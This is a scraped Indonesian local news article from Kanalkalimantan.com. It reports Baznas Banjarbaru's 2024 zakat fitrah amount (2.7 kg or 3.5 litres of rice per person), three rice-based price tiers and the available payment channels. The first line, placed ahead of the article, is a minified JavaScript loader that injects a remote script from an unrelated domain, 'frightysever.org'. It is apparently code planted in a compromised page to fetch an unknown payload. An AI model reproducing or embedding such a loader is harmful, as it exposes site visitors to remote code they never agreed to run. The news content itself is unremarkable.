(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Badan Amil Zakat Nasional (Baznas) Kota Banjarbaru telah menetapkan zakat fitrah yang harus dibayarkan setiap individu umat muslim.
Ketua Baznas Kota Banjarbaru Hj Hafidah mengatakan, zakat fitrah (zakat al-fitr) ialah zakat yang diwajibkan atas setiap jiwa baik lelaki dan perempuan muslim.
Hj Hafidah menjelaskan, jika zakat fitrah sudah dapat dibayarkan umat muslim terhitung sejak 1 Ramadan dan berakhir sebelum pelaksanaan shalat Ied.
Zakat fitrah yang wajib dibayarkan berupa beras atau senilai beras yang wajib dikeluarkan. Besaran beras yang wajib dikeluarkan yaitu 2,7 kilogram atau 3,5 liter per jiwa.
“Baznas Kota Banjarbaru setelah melakukan rapat koordinasi dengan para pihak, diantaranya dengan Sekda, Kemenag, MUI, dan Pemerintah Kota Banjarbau menetapkan besaran zakat fitrah 2,7 kilogram atau 3,5 liter beras,” kata Hafidah kepada Kanalkalimantan.com, Sabtu (23/3/2024) siang.
Baca juga: PSK Terjaring Patroli Malam Ramadan Satpol PP Banjarbaru
Disebutkan, penetapan zakat fitrah senilai untuk wilayah Kota Banjarbaru diputuskan berdasarkan hasil rapat musyawarah bersama Dinas Perdagangan dan Bagian Kesra.
Dengan mempertimbangkan kenaikan harga beras di pasaran yang disampaikan oleh Dinas Perdagangan Banjarbaru maka nilai zakat fitrah di Kota Banjarbaru dinyatakan ada kenaikan.
“Adapun nilai yang ditetapkan dari hasil survei informasi dari Dinas Perdagangan bahwa ada kenaikan beras maka kita pertimbangkan penetapan tiga harga zakat fitrah yang dapat dibayarkan,” ungkap dia.
Tiga nilai zakat fitrah yang dapat dibayarkan terbagi menjadi Tipe A yakni menggunakan beras lokal seperti Unus Mayang, Mutiara, Karang Dukuh, Siam Unus yang setara dengan harga Rp70 ribu.
Baca juga: BPBD Banjarmasin: Tak Ada Kerusakan Pasca Gempa
Untuk Tipe B yakni tipe sedang menggunakan beras jenis Pandak dan kemasan premium setara dengan harga Rp50 ribu.
Terakhir Tipe C dapat menggunakan beras Cihirang dan beras kemasan medium yang setara dengan harga Rp35 ribu.
Ia menjelaskan pembayaran fidyah dapat dibayarkan melalui Baznas Kota Banjarbaru di Jalan Palang Merah, Kelurahan Komet, Kecamatan Banjarbaru Utara.
Atau bagi masyarakat yang ingin membayarkan zakatnya juga bisa menghubungi kontak Baznas Banjarbaru di nomor Whatsapp 081349175554.
Baca juga: Syekh dari Gaza Bagikan Metode Menghafal Al Qur’an Cepat di Banjarbaru
“Jika ada masyarakat yang berada di luar daerah bisa membayarkan langsung bisa melalui telpon atau video call, untuk pembayarannya transfer bank atau kalau mau langsung di kantor bisa melalui barcode Qris,” tutup Hj Hafidah. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.